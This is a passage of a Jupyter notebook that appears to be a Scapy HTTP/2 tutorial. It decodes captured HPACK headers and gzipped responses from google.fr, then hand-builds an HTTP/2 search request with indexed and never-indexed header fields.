xde\\x9a:[\\x84wy\\xd4\\x1a\\xb2\\xc3E\\x97\\x90\\x03\\x07\\xd4\\x0e\\xea\\x06\\xd6\\x97\\x18\\x84mT?k\\x88F\\x1e\\xbde\\xc0\\xdc\\x8fE\\xe6\\xd1WT~$K\\x8a\\x90q(\\xbdi\\xc4\\x99\\xed\\x83l1\\x1c=\\xfa8CU\\x1a+\\x8e\\xf2\\xf0\\xe2\"Q:\\x1d\\xa5\\xfe\\xeeb\\xb9\\xa1t\\x1b\\xe2r\\xb2\\xde\\xba\\xa9\\xc9\\xbb=Y\\xeb\\xc2?{\\xf3\\x03\\xa2\\x1e\\xe0\\x9cP_\\xd7\\x14\\x8bNg\\xfb\\xdd\\xbf\\xeeK\\x1d\\x03\\xdb\\xa63p\\xaf\\xdb8\\xd8l\\xa1m~\\x80?xn\\xdc*\\xde\\x0fWJ\\x085g\\x9c\\x04.9S\\xea6&\\xd4\\xb3\\xd3$u\\xe1\\xd7U\\xbc\\x88r\\x0e}\\xfa\\xd9?\\x99\\x07Q\\r\\xfe\\x9d\\x0e\\\\\\xc0\\xa6\\xdb\\xa1\\xcaz\\xe5\\xf1j0\\xb8\\xb9iJ\\xf9E\\x0ej\\r\\x96\\xd9\\x93%TsyGP\\x17j3r&%\\xe6\\xa7\\x03\\xfaM>1$\\x8d\\x16#l\\xb6\\xf9D\\xe4\\xecW\\xe8\\xfa\\x1e\\x17\\xdc~5\\x17/\\x8d\\x07m\\x16&9{\\r\\xc3\\xdfc\\x81\\x02\\xdd\\x817\\x17n\\xc5\"\\x88\\x9c\\x9f\\xffY\\xb2\\xd0\\xc9\\xd9\\xbf\\xd3\\xe2-\\x0c}\\x8f\\x0b\\x98\\xba-Nr\\xc3w\\xf5\\x02\\xce\\xfb\\xd4\\x13\\x05l3\\xf1\\xe5o\\xe8&\\x8c\\xdaRa{\\xf0D\\xf2\\x89\\xc9\\xd9sl~\\x8f\\x85\\x9f\\xc3\\xfe\\xdd\\xd1\\x8c$O\\xc9\\xd93\\x1cyH.7py\\xa5\\xb8\\x1f\\xdd\\xc9\\xb7] \\x11\\xd1\\x00`\\x9a!\\x01\\x1f\\xc0N,@\\xf1\\x05HY\\x9c)\\x9d\\x9c^\\x17\\xa9\\x8d\\xf3\\x9d\\x0eJ\\xb7\\x1b\\x80+6\\xfe)\\x0bXE\\x16\\x01\\x0e\\xd6\\x8c\\xb5o\\xf2\\x8c&\\xa5\\xbf&\\xcd\"C\\x8c+\\xd0\\xdf\\x1e]4\\xa3\\x8bGFY\\xd3G[2<\\x10\\x01\\x0e\\x17\"\\xcd\\xefP\\x04p\\x84\\xd2l\\xa4a<:{!\\xc7\\xc3\\xeb\\x82)\\xef\\x99+uw\\x8f\\xda\\xab\\x03[\\x06\\x80\\xe5,\\xf1\\x18\\x7fH\\xfc\\x9a\\xe64\\xfe\\x1f\\x91W[B\\x12\\n\\x08\\xd2L8s\\x88\\xb7\\xe5B\\xe7SmO\\xc9\\xd4\\xf3 \\xee\\n\\xde\\xb6\\xe1\\x1b\\x96\\xafB\\x8f\\xbdL!\\xc2W\\xce\\x95\\xc14`OG\\xe4\\x05\\xeb\\xe0\\xadn\\x98\\x14\\xccy\\xdcR\\xedU\\x9d\\xa7I\\xc2n\\xc1`\\x8f[\\xa6F\\\\V~!\\xd3\\xae\\xf6-\\x8c\\xb2\\x90\\xafQ\\x94\\n\\xd3c\\x98\\xa0 \\xd4\\xc0\\x19,\\x82\\x93\\x93C\\xe00@d`\\x8a\\x82\\xcc\\'\\xdb8\\x15\\x05\\xb4jU\\x9eX\\x97\\x9d\\x86\\xacw\\x15H\\xf9\\xbb\\xe3uu\\xabkM\\x15iL\\'\\x98\\xe2\\x1f\\xcf\\xb6{7\\xdc\\x98\\x05\\xb6\\x97\\xdc\\xd8\\x9a\\xdf,\\xa1@\\x9ao\\xc9\\xab\\xfbncj\\xdcZFy\\xe5\\xddS\\x92\\xf4\\xa4\\xcc\\xceD\\x91\\xb7\\xdb\\x0e)/\\xbb\\x89\"S(\\x08\\x02\\xaa*%\\\\f\\xc8\\x96(\\xd5\\r\\x0bi\\x0e\\xaeQ\\xa7\\x03?\\xdd\\xde\\xae@U~\\x9fN\\xa7\\xed\\xdafR\\x97:\\xed\\xba\\xba9~A\\x92\\xa4\\x98\\xa9\\xe5\\xf1k\\x8a\\x9a\\x90\\x962\\xb0r&\\xb0\\xd6\\x9b\\x9cf\\x0e!g?\\x83\\xf0\\x1e\\xab\\x8c\\xd2\\xfe\\xdd\\x9a\\x1dO\\x08\\n\\x95i\\xce\\xa9\\x8f\\xb9\\xc0\\x82\\xc6\\xb04L\\xaf\\x10?\"\\xa6x,\\x8a*\\xcb8D#\\xb2\\r;\\xcc\\xab\\xda\\x80\\x96+\\xabJ\\x13\\xb0&\\xec\\xf0\\xab\\xedM\\x8c\\xf1\\x8f\\xe4\\xac\\x93\\xb8<\\x83x |9T\\xa1\\x96~\\xd2^\\xf1\\xa9,\\xbc\\xab\\xf9CP/p\\x05\\xcf&\\x97o^\\x9d\\x98\\xe6\\xd8:\\xd1\\xc1\\x00\\xe5\\xfbI\\xe8\\xfb,i(*<\\xdc\\x84%\\xf12\\xfa\\nf9\\xcc\\xd3\"\\xf7\\xd8\\x1eJ\\xcde\\x99\\xeda\\xbb\\xe1\\xcd7\\xb9\\xb9\\xe1\\xf2\\xc1\\xf8v\\xbb\\x10\\x9f\\x93=\\xff\\x1dn\\x0f\\xc3x\\xdeP\\xb4\\x86\\xe1\\xae[`\\xd9\\xd7\\xd4v\\xf5\\xde\\x18\\xd7\\xc7A\\x05\\xdd\\xe4a1\\x07NY\\xe0\\xddg\\x9c\\xe1=\\x9eCR(\\x94\\xea\\xa5@)\\xd7\\x88\\xd9\\xf8rS\\x06(\\xb5W\\xc7\\xf46bI \\xed\\xa7\\x8d\\xccZ\\xa9\\xd7 \\x07\\xf8\\xa7C\\xc6S\\xb2\\xf5\\xa5z\\xcd\\xed\\xe3\\'\\n$#\\xf2V\\x05\\xbb\\x1dXd7Bo\\xfb\\x9a\\xc5=\\\\S\\xa5j\\x91<\\xafu\\xcd\\x0b7\\x0e\\x05i\\xc2};\\x13\\xfc_\\xe7\\xfd\\xe5\\x88\\x86\\x8a\\xcf\\x94\\x88\\xe2\\xebZ\\xe2\\xb5\\'\\xbe\\xc4]\\xedE\\xa1w\\x05\\xce\\xb9\\x90\\xd7S}\\xdc@P\\x93I\\xea\\x9e\\xec\\x815{W\\xccwt[aP]*`\\x91\\xe6\\xda\\njR?M\\xfd\\x08\"\\xd3\\xd1w\\xa4\\xa8\\xf7J\\xb5F8\\xda\\xe1qi/\\xe04;gg\\xb75yo@\\xfd\\x15\\xca\\xe0\\xcf\\xab\\x0b\\xac2}\\xd08\\xb3\\xeb\\xf7\\t\\x07,\\xb5\\xd55E\\xf4/\\xb2P\\xd82\\xc1\\xf7\\xc8\\x02\\xa2)$\\xae4\\xe2_\\xe1\\xf1\\xaa\\x10a\\xc4\\x15\\xf0\\x81\\xa0\\x80\\xc4\\x89i\\x93\\x97Y\\x06\\xe5\\x18\\x08\\x8c82\\x98\\xd4\\xba\\xc7X\\x19\\xb8\\xabZ\\xbd\\xf2\\xf3\\xd1\\xdd\\xa8\\xa3jP\\xcd\\xdb\\xb4\\x817\\x1e\\x1c\\xf3\\x1ei\\'\\xa7\\xca\\r\\xb7a\\xd4\\x1c\\xfeh\\xc7p|\\xac7\\x1d^8\\x91v\\xf4\\xabk\\x06\\xa0I1\\x12}\\x85\\x0f$\\x1b\\xb1;V\\xedI\\xdd\\xc2\\xe3\\x15l\\xb6\\xf6u[\\x1d\\xd5$_\\xc8{-M\\xd6U\\x13\\xf5\\xb1bz\\x83whX=)Y\\xe1\\x82W\\x85\\x82\\x86U\\xc1\\xb0%\\xe1e\\xf6\\xdf\\xc5\\xf7\\x8f`\\x0eHHy\\xc8wm\\xb5\\xad\\x90\\x8b\\x9d\\x1aB\\xd7&\\x96\\xa6\\x8f\\xcc\\x89i\\xe2\\x83\\x98\\xa1\\x19\\xa6aT\\xa7-99_\\xa2\\xf8\\xc7\\xf5\\x13.}l\\xd1.\\x94I}|x&g\\xff\\xad\\xe0\\x03p\\xcaq\\xa7{\\xe25x\\x17\\x11C0\\xf3\\xe4\\xe1Y\\xa5\\x8e\\xdf\\x87\\x08\\t=\\xf5\\xd4u\\xbb\\x9a\\x96v:n\\xa7\\xd3\\xa5\\x07\\xceV\\xae\\xbe\\x94\\xe6\\xfe\\xde\\xdd\\xe9,e\\xdd\\xbe\\x88@Y\\xd5%D\\xc5\\xbf\\x83\\x92%\\xbe\\xbb<\\xe9T\\x8f.\\x90\\xa3\\xabW\\x17\\xc8\\xc6\\xf2\\xd5e\\xf7\\xed\\xe7\\xea\\xe2\\xb2\\xb7\\xf7\\xb2\\xf0\\x95\\xc3\\xf3\\xed\\'\\xee\\x93\\xbd\\x13\\x0bv\\x86\\x8f_7\\xd4\\x9f\\x8a\\xd7u\\x1b\\xa3\\xf1\\xf2\\xa5\\x0fv\\xccC\\x035\\xe7y/\\x87\\x8a\\x92U\\x1a\\xec\\x92\\x927\\xe9\\xd9T\\xde\\x1b\\xb8\\xad{\\x00V\\xeb\\xf9\\xa7\\xbbK\\xbf[\\xae\\xb0\\xd7\\xa7Y\\xc6\\x12\\xff|\\x19F~\\x97\\xf66\\xaa\\xd6\\xdbT\\xc2\\xfa\\xd1\\xa7l\\xfb\\xd6\\xe2\\xaa\\xb4yk\\x01\\xd2\\x02X{H`o\\xb1\\x1doO7_wD\\xe0\\x90\\xc7\\xf8\"$\\xd5\\x07nT\\xbf\"\\xf5\\xea\\x8f\\xfe\"\\xcc\\xb9@\\x14t\\xb2-Y\\xc3i^{\\xdb\\xfc\\xfe~\\xdd\\xbc1\\xce\\xfb\\xf3gE\\x9c]\\xdczL\\x9e*\\xb7\\x02\\xb0\\xdeZ,\\xf3\\xf4Fa\\x9b\\xd6\\x84\\xf8\\x86\\x96\\xf3\\xc6?\\xca\\xa6|i\\xea\\x8bF\\xde\\x9d^\\\\D\\xc4\\x9d\\xfaA\\xb6\\xdbz\\x91\\xb5\\xdb\\xaa\\xeb\\x1e\\r\\x00s0\\x1f\\xc0\\xcf\\xd5\\x9f\\xb7C\\x1fZ\\xfde\\xd6g\\xc9\\xfc\\xdd\\x9b\\xfe\\xfb\\xdf\\x86\\x7fdo>\\x9f\\xfc\\xf4\\xdc\\xec\\xbf\\x1a\\xc48\\xce\\xdd\\xf9\\x92\\xa9\\xfe \\x17\\xd8\\xfa4\\xf0\\x11\\xe8\\x03\\xd9\\xfa\\xecA\\x0c\\xc89~>=\\x7fki\\xe9\\xf3\\x95\\xff\\x82N\\xdf\\xbe4\\xde\\xcf/\\x7f\\xffC\\xe7\\xe3\\x9f^\\xdf\\xfe\\xfb\\xf2\\x05{\\xb7Z\\xfe~\\xa4\\xfe\\xffM\\xdd\\xb3\\xb7\\xa6\\x82\\xea\\xa5VH\\x16{\\xce\\x9a\\xc8i\\xc8lM\\xa0\\x10H\\xc8\\x0cO\\x9e*\\xf1\\xda\\xdfrK\\x92\\x19\\x96\\xb8y\\x94\\xa6\\xf1\\t\\x94\\xd1*\\xf1\\x975\\x82\\xbf\\xbc\\x16\\xcd7\\x07D\\x18]Du\\xcf2\\xe5H\\xdcd\\x0b\\x18\\x0c\\xb9\\x0b\\xc4\\x86\\xa9\\x92O4&\\x10\\xf4\\xc8\\'\\x9e&YM\\x11\\xc5\\xf5W\\xcc\\x03\\x8eK\\xf3B\\x17\\xf8\\x91\\x8b\\xc5\\x82z,\\xc7\\x12.\\xaf+\\x1b\\\\\\xc9]\\x8c\\x83\\x9c\\xd3;\\xf6\\x19*\\x1d\\xe6\\xc19F\\x08\\xa6\\xa4\\xb9X\\xa6\\x01\\xd4QP\\x00\\xcd\\x001\\xf2\\xae\\xee\\x00\\xf3\\x97?\\x0bM3&\\x87C\\xcb\\xde/\\tqr9S\\xa2p\\xbaJ\\xc3\\\\\\xc1\\x84\\x0b\\xdd)\\xbfB)\\xaab\\x08h8\\ry\\x88\\x04\\x19li\\x189\\x973\\xf2\"\\x80\\xc3\\xa9\\x0c\\x1aTqAo\\xca\\x17\\xf1\\x05z3\\xc85\\xf1\\x17\\x86\\x84\\xab\\x14\\x12\\xbc\\x82K\\x18\\x9eW\\t\\xe6OR\\xdfY\\xfcI\\xe4\\xc0\\xc5r\\xe7\\x8a\\xa2D\\x1e\\xd0r\\xac_N\\x8a\\xcb|S2f\\xa8T\\xee\\x86\\xb8\\xc2m\\xc9\\x97\\xe1]\\xa8\\xfc\\x7f\\\\0\\x88\\xa7\\xbf\\xd9\\xc3\\xda{\\xa3\\x92\\x04MV\\xaa;]\\xe5\\xa0m\\xe8\\xcb\\xaeK+\\xc2\\xe2\\xe0T_\\x8d\\xe6\\x0b@\\xfc\\xf0\\x11\\x98y\\xd0\\xa7k\\xf8\\x01\\x8e3\\x06(\\xd2+ XY\\xcb\\xc4\\xba\\xf8\\xed\\xf5\\xbf\\x8c\\xf3k\\xfd_\\xcf\\x9e\\x16\\x93\\xc2\\x1fO\\xde~\\xbe\\xba\\xfb\\x1d\\'\\xf2\\x91\\xf7\\xf6\\xf5\\xba\\x8c%\\xe5\\xfbp+$m\\xa3@\\xcc\\xfcf\\xb3\\xc3w\\xf7(LB\\xb1\\xf5el\\x9579w\\xdd\\xa6S\\xe2U\\xba\\x04\\xd4\\xcd\\xa6\\x1d\\xc7>5\\x11\\xe5\\x13\\xec\\xbaV\\xe36|,\\xbc\\xb7\\x86!\\x00\\xdb\\xf2U\\xb0\\xbe\\x0f/\\x8b\\x12L\\x8cx\\x89\\x8d\\xff\\'\\xf0\\x7f\\x01\\xa9\\x9a\\xd7%#(\\x00\\x00'\n", " | padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n", "\n" ] } ], "prompt_number": 113 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, I don't know about you, but I can't read this :) Let's use the helpers to help us out.\n", "\n", "First we need to create a new Header table that is meaningful for headers received from the server. We set the various sizes to the values we defined in our settings." ] }, { "cell_type": "code", "collapsed": false, "input": [ "srv_tblhdr = h2.HPackHdrTable(dynamic_table_max_size=max_hdr_tbl_sz, dynamic_table_cap_size=max_hdr_tbl_sz)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 114 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's now convert all received headers into their textual representation, and stuff the data frames into a buffer per stream." ] }, { "cell_type": "code", "collapsed": false, "input": [ "# Structure used to store textual representation of the stream headers\n", "stream_txt = {}\n", "# Structure used to store data from each stream\n", "stream_data = {}\n", "\n", "# For each frame we previously received\n", "for frame in stream.frames:\n", " # If this frame is a header\n", " if frame.type == h2.H2HeadersFrame.type_id:\n", " # Convert this header block into its textual representation.\n", " # For the sake of simplicity of this tutorial, we assume \n", " # that the header block is not large enough to require a Continuation frame\n", " stream_txt[frame.stream_id] = srv_tblhdr.gen_txt_repr(frame)\n", " # If this frame is data\n", " if frame.type == h2.H2DataFrame.type_id:\n", " if frame.stream_id not in stream_data:\n", " stream_data[frame.stream_id] = []\n", " stream_data[frame.stream_id].append(frame)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 115 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, we can print the headers from the Favicon response." ] }, { "cell_type": "code", "collapsed": false, "input": [ "print(stream_txt[3])" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ ":status 200\n", "vary: Accept-Encoding\n", "content-encoding: gzip\n", "content-type: image/x-icon\n", "date: Thu, 08 Dec 2016 06:23:59 GMT\n", "expires: Fri, 16 Dec 2016 06:23:59 GMT\n", "last-modified: Thu, 08 Dec 2016 01:00:57 GMT\n", "x-content-type-options: nosniff\n", "server: sffe\n", "content-length: 1494\n", "x-xss-protection: 1; mode=block\n", "cache-control: public, max-age=691200\n", "age: 472252\n", "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n" ] } ], "prompt_number": 116 }, { "cell_type": "markdown", "metadata": {}, "source": [ "So, we received a 200 status code, meaning that we received the favicon. We also can see that the favicon is GZipped. Let's uncompress it and display it in this notebook." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import zlib\n", "img = zlib.decompress(stream_data[3][0].data, 16+zlib.MAX_WBITS)\n", "from IPython.core.display import HTML\n", "HTML(''.format(img.encode('base64')))" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "" ], "metadata": {}, "output_type": "pyout", "prompt_number": 117, "text": [ "" ] } ], "prompt_number": 117 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's now read the frontpage response." ] }, { "cell_type": "code", "collapsed": false, "input": [ "print(stream_txt[1])" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ ":status 200\n", "date: Tue, 13 Dec 2016 17:34:51 GMT\n", "expires: -1\n", "cache-control: private, max-age=0\n", "content-type: text/html; charset=ISO-8859-1\n", "p3p: CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\"\n", "content-encoding: gzip\n", "server: gws\n", "content-length: 4420\n", "x-xss-protection: 1; mode=block\n", "x-frame-options: SAMEORIGIN\n", "set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\n", "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n" ] } ], "prompt_number": 118 }, { "cell_type": "markdown", "metadata": {}, "source": [ "So, we received a status code 200, which means that we received a page. Let's \"visualize it\"." ] }, { "cell_type": "code", "collapsed": false, "input": [ "data = ''\n", "for frgmt in stream_data[1]:\n", " data += frgmt.payload.data\n", "\n", "HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode('UTF-8', 'ignore'))" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "Google

France

 

Recherche avanceOutils linguistiques

© 2016 - Confidentialit - Conditions

" ], "metadata": {}, "output_type": "pyout", "prompt_number": 119, "text": [ "" ] } ], "prompt_number": 119 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Throwing a query!" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's now query Google! For this, we will build a new query without the helpers, to explore the low-level parts of the HTTP/2 Scapy module.\n", "First, we will get the cookie that we were given. For this, we will search for the set-cookie header that we received." ] }, { "cell_type": "code", "collapsed": false, "input": [ "from io import BytesIO\n", "sio = BytesIO(stream_txt[1])\n", "cookie = [val[len('set-cookie: '):].strip() for val in sio if val.startswith('set-cookie: ')]\n", "print(cookie)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly']\n" ] } ], "prompt_number": 120 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, we build the query by hand. Let's create the Header frame, so that we can later stuff all the header \"lines\" in it. This is a new stream, and we already used the stream ids 1 and 3, so we will use the stream id 5, which is the next available. We will set the \"End Stream\" and \"End Headers\" flags. The End Stream flag means that they are no more frames (except header frames...) after this one in this stream. The End Headers flag means that there are no Continuation frames after this frame. Continuation frames can be used to add more headers than one could fit in previous H2HeaderFrame and Continuation frames...\n", "\n", "Our frame will contain little headers and we set very large limits for this tutorial, so we will skip all the checks, but they should be done! The helpers does them, by the way." ] }, { "cell_type": "code", "collapsed": false, "input": [ "hdrs_frm = h2.H2Frame(flags={'ES', 'EH'}, stream_id=5)/h2.H2HeadersFrame()" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 121 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then, we have to specify the pseudo headers. These headers are the equivalent of \"GET / HTTP/1.1\\nHost: www.google.fr\" of old.\n", "For this, we specify that this is a GET query over HTTPS, along with the path, and the \"authority\", which is the new \"Host:\".The GET Method and the HTTPS scheme are part of the static HPack table, according to RFC7541. Let's get the index of these headers and put them into HPackIndexedHdr packets." ] }, { "cell_type": "code", "collapsed": false, "input": [ "get_hdr_idx = tblhdr.get_idx_by_name_and_value(':method', 'GET')\n", "get_hdr = h2.HPackIndexedHdr(index = get_hdr_idx)\n", "get_hdr.show()\n", "hdrs_frm.payload.hdrs.append(get_hdr)\n", "\n", "https_hdr_idx = tblhdr.get_idx_by_name_and_value(':scheme', 'https')\n", "https_hdr = h2.HPackIndexedHdr(index = https_hdr_idx)\n", "https_hdr.show()\n", "hdrs_frm.payload.hdrs.append(https_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 2\n", "\n", "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 7\n", "\n" ] } ], "prompt_number": 122 }, { "cell_type": "markdown", "metadata": {}, "source": [ "For the path, we will use \"/search?q=scapy\". The path might be a sensitive value, since it may contain values that we might not want to leak via side-channel attacks (here the query topic). For this reason, we will specify the path using a HPackLitHdrFldWithoutIndexing, which means that we don't want indexing. We also need to set the never_index bit, so that if there are intermediaries between us and the HTTP server, they will not try to compress this header.\n", "Before setting this header, though, we have to choose whether we want to compress the *string* \"/search?q=scapy\" using Huffman encoding. Let's compress it and compare its wire-length with the uncompressed version." ] }, { "cell_type": "code", "collapsed": false, "input": [ "z_str = h2.HPackZString('/search?q=scapy')\n", "unz_str = h2.HPackLiteralString('/search?q=scapy')\n", "\n", "print(len(str(z_str)), len(str(unz_str)))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "(12, 15)\n" ] } ], "prompt_number": 123 }, { "cell_type": "markdown", "metadata": {}, "source": [ "So the compressed version is smaller. Let's use it, since HTTP/2 is all about performances and compression. \n", "\n", "\":path\" is the pseudo-header to define the query path. While we don't want to compress the *value* of the query path, the name can be compressed. As it happens, the \":path\" header name is in the static header table. For this reason, we will search of its index, and then build the header." ] }, { "cell_type": "code", "collapsed": false, "input": [ "path_hdr_idx = tblhdr.get_idx_by_name(':path')\n", "path_str = h2.HPackHdrString(data = z_str)\n", "path_hdr = h2.HPackLitHdrFldWithoutIndexing(\n", " never_index=1, \n", " index=path_hdr_idx,\n", " hdr_value=path_str\n", ")\n", "path_hdr.show()\n", "hdrs_frm.payload.hdrs.append(path_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " magic = 0\n", " never_index= Never Index\n", " index = 4\n", " \\hdr_value \\\n", " |###[ HPack Header String ]### \n", " | type = None\n", " | len = None\n", " | data = 'HPackZString(/search?q=scapy)'\n", "\n" ] } ], "prompt_number": 124 }, { "cell_type": "markdown", "metadata": {}, "source": [ "The final missing pseudo-header is the new \"Host\" header, called \":authority\". \":authority\" is in the static header table, so we *could* use it. As it happens, we can do better because we previously indexed \":authority\" *with the value* \"www.google.fr\". Let's search for the index of this entry in the dynamic table. With luck, the server header table size is large enough so that the value is still inside it." ] }, { "cell_type": "code", "collapsed": false, "input": [ "host_hdr_idx = tblhdr.get_idx_by_name_and_value(':authority', dn)\n", "assert(not isinstance(host_hdr_idx, type(None)))\n", "print(host_hdr_idx)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "66\n" ] } ], "prompt_number": 125 }, { "cell_type": "markdown", "metadata": {}, "source": [ "So, the \":authority www.google.fr\" header is still in the dynamic table. Let's add it to the header list." ] }, { "cell_type": "code", "collapsed": false, "input": [ "host_hdr = h2.HPackIndexedHdr(index=host_hdr_idx)\n", "host_hdr.show()\n", "hdrs_frm.payload.hdrs.append(host_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 66\n", "\n" ] } ], "prompt_number": 126 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now that we added all the pseudo-headers, let's add the \"real\" ones. The compression header is in the static table, so we just need to look it up." ] }, { "cell_type": "code", "collapsed": false, "input": [ "z_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-encoding', 'gzip, deflate')\n", "z_hdr = h2.HPackIndexedHdr(index = z_hdr_idx)\n", "z_hdr.show()\n", "hdrs_frm.payload.hdrs.append(z_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 16\n", "\n" ] } ], "prompt_number": 127 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We also need to create the header for our new cookie. Cookie are sensitive. We don't want it to be indexed and we don't want any intermediate to index it. As such, we will use a HPackLitHdrFldWithoutIndexing and with the never_index bit set, here as well. The name \"cookie\", though, happens to be in the RFC7541 static headers table, so we will use it." ] }, { "cell_type": "code", "collapsed": false, "input": [ "cookie_hdr_idx = tblhdr.get_idx_by_name('cookie')\n", "cookie_str = h2.HPackHdrString(data = h2.HPackZString(cookie[0]))\n", "cookie_hdr = h2.HPackLitHdrFldWithoutIndexing(\n", " never_index = 1,\n", " index = cookie_hdr_idx,\n", " hdr_value = cookie_str\n", ")\n", "cookie_hdr.show()\n", "hdrs_frm.payload.hdrs.append(cookie_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " magic = 0\n", " never_index= Never Index\n", " index = 32\n", " \\hdr_value \\\n", " |###[ HPack Header String ]### \n", " | type = None\n", " | len = None\n", " | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n", "\n" ] } ], "prompt_number": 128 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Also, we need to specify that we read French. Once more, the \"accept-language\" header is in the HPack static table, but \"fr-Fr\" might not be. Let's see if we did index that earlier." ] }, { "cell_type": "code", "collapsed": false, "input": [ "acceptlang_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-language', 'fr-FR')\n", "print(acceptlang_hdr_idx)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "65\n" ] } ], "prompt_number": 129 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Excellent! This is an entry of the dynamic table and we can use it in this session! Let's use it with an HPackIndexedHdr packet." ] }, { "cell_type": "code", "collapsed": false, "input": [ "acceptlang_hdr = h2.HPackIndexedHdr(index = acceptlang_hdr_idx)\n", "acceptlang_hdr.show()\n", "hdrs_frm.payload.hdrs.append(acceptlang_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 65\n", "\n" ] } ], "prompt_number": 130 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's do the same thing quickly for the other headers." ] }, { "cell_type": "code", "collapsed": false, "input": [ "accept_hdr_idx = tblhdr.get_idx_by_name_and_value('accept', 'text/html')\n", "accept_hdr = h2.HPackIndexedHdr(index = accept_hdr_idx)\n", "accept_hdr.show()\n", 